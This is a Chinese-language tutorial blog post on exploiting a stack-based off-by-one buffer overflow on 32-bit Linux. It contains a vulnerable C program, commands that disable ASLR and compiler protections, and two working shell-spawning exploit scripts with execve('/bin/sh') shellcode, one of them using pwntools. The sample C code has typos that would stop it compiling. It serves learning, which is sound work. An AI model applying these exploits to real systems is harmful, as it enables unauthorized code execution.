Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))
off by one(栈)?
将源字符串复制到目标缓冲区可能会导致off by one
1、源字符串长度等于目标缓冲区长度。
当源字符串长度等于目标缓冲区长度时,单个NULL字节将被复制到目标缓冲区上方。这里由于目标缓冲区位于堆栈中,所以单个NULL字节可以覆盖存储在堆栈中的调用者的EBP的最低有效位(LSB),这可能导致任意的代码执行。
实例代码test1.c:
#include<stdio.h>
#include<stdlib.h>
void foo(char *arg);
void bar(char *arg);
void foo(char *arg){
Bar(arg);
}
void bar(char *arg)
{
char buf[256];
strcpy(buf,arg);
}
Int main(int argc, char *argv[])
{
if(strlen(argv[1]>256))
{
printf("Attempted Buffer Overflow\n");
fflush(stdout);
return -1;
}
Foo(argv[1]);
Return 0;
}
接下来为了降低难度我们首先关闭alsr保护
首先我们执行这条命令看下是否开启(返回2为开启)
cat /proc/sys/kernel/randomize_va_space
开启切换到root用户下执行下面的命令
echo 0 > /proc/sys/kernel/randomize_va_space
然后进行编译即可
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o test1 test1.c
(
gcc编译时,关闭DEP和栈保护,-fno-stack-protector和-z execstack这两个参数会分别关掉DEP和Stack Protector
)
编译完成后怎么gdb调试
Gdb ./test1
查看下汇编代码
Disassemble main
Disassemble foo
Disassemble bar
我们构造输入
(gdb) r `python -c 'print "A"*256'
然后看下eip发现这个时候报错
然后我们可以尝试按照下面的语句进行构造输入
r `python -c 'print "A" * 172 + "B" * 4 + "C" * 80'`
这个时候我们发现这个构造的产生溢出大概在程序偏移172+4+16+ebp地址处,
然后我们可以按照下面的来书写自己的shellcode
#!/usr/bin/env python
import struct
from subprocess import call
#execve(/bin/sh)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90"
ret_addr = 0xBFFFEF18
def conv(num):
return struct.pack("<I",num)
buf = "A" * 172
buf += conv(ret_addr)
buf += "\x90" * 30
buf += shellcode
buf += "\x90" * 22
print "Calling program"
call(["./test1", buf])
这个代码貌似由于gdb搞出来的和真实环境存在点差异无法溢出成功
然后请教了中北的师傅
给了我一个脚本
from pwn import *
import binascii
context.log_level = "debug"
#payload = "\x00" + "\x11"*0x200
payload = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
payload = payload.ljust(36,"\x11")
payload += p32(0x08048433) * 55
sh = process(argv=['./test1', payload])
sh.interactive()
大概分析了一下这个利用了main函数返回前会将bss_start里面的值给存储到eax里面,然后我们在bss_start那进行写入bin/sh然后就构造完成了
参考资料:
https://www.cnblogs.com/jourluohua/p/8994209.html
https://www.cnblogs.com/2014asm/p/10246063.html
https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/
https://bbs.pediy.com/thread-216954.htm
Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))的更多相关文章
- Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)
转:https://bbs.pediy.com/thread-217390.htm 前提条件: 经典的基于堆栈的缓冲区溢出 虚拟机安装:Ubuntu 12.04(x86) 在以前的帖子中,我们看到了攻 ...
- Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分
(1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...
- Linux (x86) Exploit 开发系列教程之二(整数溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void s ...
- Linux (x86) Exploit 开发系列教程之一(典型的基于堆栈的缓冲区溢出)
(1)漏洞代码 //vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) ...
- Linux (x86) Exploit 开发系列教程之四(使用return-to-libc绕过NX bit)
(1)原理: “NX Bit”的漏洞缓解:使某些内存区域不可执行,并使可执行区域不可写.示例:使数据,堆栈和堆段不可执行,而代码段不可写. 在NX bit打开的情况下,基于堆栈的缓冲区溢出的经典方法将 ...
- Linux Exploit系列之三 Off-By-One 漏洞 (基于栈)
Off-By-One 漏洞 (基于栈) 原文地址:https://bbs.pediy.com/thread-216954.htm 什么是off by one? 将源字符串复制到目标缓冲区可能会导致of ...
- 微信公众号开发系列教程一(调试环境部署续:vs远程调试)
http://www.cnblogs.com/zskbll/p/4080328.html 目录 C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试 ...
- C#微信公众号开发系列教程三(消息体签名及加解密)
http://www.cnblogs.com/zskbll/p/4139039.html C#微信公众号开发系列教程一(调试环境部署) C#微信公众号开发系列教程一(调试环境部署续:vs远程调试) C ...
- C#微信公众号开发系列教程二(新手接入指南)
http://www.cnblogs.com/zskbll/p/4093954.html 此系列前面已经更新了两篇博文了,都是微信开发的前期准备工作,现在切入正题,本篇讲解新手接入的步骤与方法,大神可 ...
随机推荐
- ggplot常见语法汇总查询
主图 散点图 柱状图 折线图 小提琴图 点图 进化树 圈图 Alluvial图 Sankey Diagram plot(getSankey(colData(muraro)$cell_type1, mu ...
- flask 开发用户登录注册功能
flask 开发用户登录注册功能 flask开发过程议案需要四个模块:html页面模板.form表单.db数据库操作.app视图函数 1.主程序 # app.py # Auther: hhh5460 ...
- git : error occurred during unpacking on the remote end: unpack-objects abnormal exit
error occurred during unpacking on the remote end: unpack-objects abnormal exit git服务器磁盘满了.
- 企业架构 Red Hat Drools KIE Project 三大核心产品
美团放弃Drools自研规则引擎: https://blog.csdn.net/qq_18603599/article/details/80767912 Drools rule engine虽然好,但 ...
- vue-vuex的使用
做后台项目的时候,有时候会需要用到状态管理,VUEX就能够很好的为我们解决好这个问题. 安装 VUEX npm install vuex --save 具体使用: 建立 src/store/index ...
- Laya的滚动容器
想实现一个简单的滚动容器.例如水平排列10个图标,可以左右滑动查看的. Egret里有布局容器可以滚动 Laya看了教程和示例,没有找到一个滚动容器,只有一个list,需要设置item,显然不是我想要 ...
- JVM 线上故障排查基本操作--CPU飙高
JVM 线上故障排查基本操作 CPU 飚高 线上 CPU 飚高问题大家应该都遇到过,那么如何定位问题呢? 思路:首先找到 CPU 飚高的那个 Java 进程,因为你的服务器会有多个 JVM 进程.然后 ...
- [LeetCode] 97. Interleaving String 交织相错的字符串
Given s1, s2, s3, find whether s3 is formed by the interleaving of s1and s2. Example 1: Input: s1 = ...
- shell语法学习
[原文] 菜鸟笔记shell教程学习. 本篇博客只是记录shell的一些关键语法,主要是做一个记录,有些内容也是copy过来的,并不是一个完整的教程,想完整学习shell的同学可以前往 shell脚本 ...
- sshpass命令使用
1.直接远程连接某主机 sshpass -p {密码} ssh {用户名}@{主机IP} 2.远程连接指定ssh的端口 sshpass -p {密码} ssh -p ${端口} {用户名}@{主机IP ...